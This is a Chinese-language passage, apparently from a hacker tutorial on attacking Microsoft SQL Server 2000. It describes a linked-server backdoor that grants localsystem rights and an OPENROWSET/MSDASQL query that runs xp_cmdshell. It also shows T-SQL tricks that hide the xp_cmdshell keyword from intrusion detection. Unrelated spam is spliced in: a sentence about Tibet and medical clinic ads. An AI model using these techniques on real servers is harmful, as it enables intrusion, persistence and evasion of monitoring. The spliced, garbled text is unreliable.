数据库的一些攻击呢
这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如 何发现别人放置的连接映射 ,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。 以上的方法在sqlserver2000+sqlserver2000SP1上通过! *另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理 员账号连接sqlserver的,如果对方的sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是 我们通过如下的命令 select * from openrowset(\'msdasql\',\'dsn=locaserver;trusted_connection=yes\',\'set fmtonly off exec master..xp_cmdshell \'\'dir c:\\\'\'\')应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa那个 power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql的方法, 如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。 因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行:P 利用t-sql骗过ids或攻击ids 现在的ids已经变得越来越聪明了 有的ids加入了xp_cmdshell sp_addlogin 的监视 但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉 先说说欺骗ids: ids既然监视xp_cmdshell关键字,那么我们可以这么做 declare @a sysname set @a=\"xp_\"+\"cmdshell\" exec @a \'dir c:\\\'
这个代码象性大家都能看明白,还有xp_cmdshell作为一个store procedure在master库内有一个id号,固定的,我们也可以这么做 假设这个id=988456 declare @a sysname select @a=name from sysobjects where id=988456 exec @a \'dir c:\\\'
饶谨开始形成自己对西藏事件的判断。“西方媒体一直认为中国在镇压所谓的和平示威 当然也可以 declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a \'dir c:\\\'
长沙哪医院白癜风好吴忠哪个医院治疗白癜风最好
长沙阴道炎治疗费用多少钱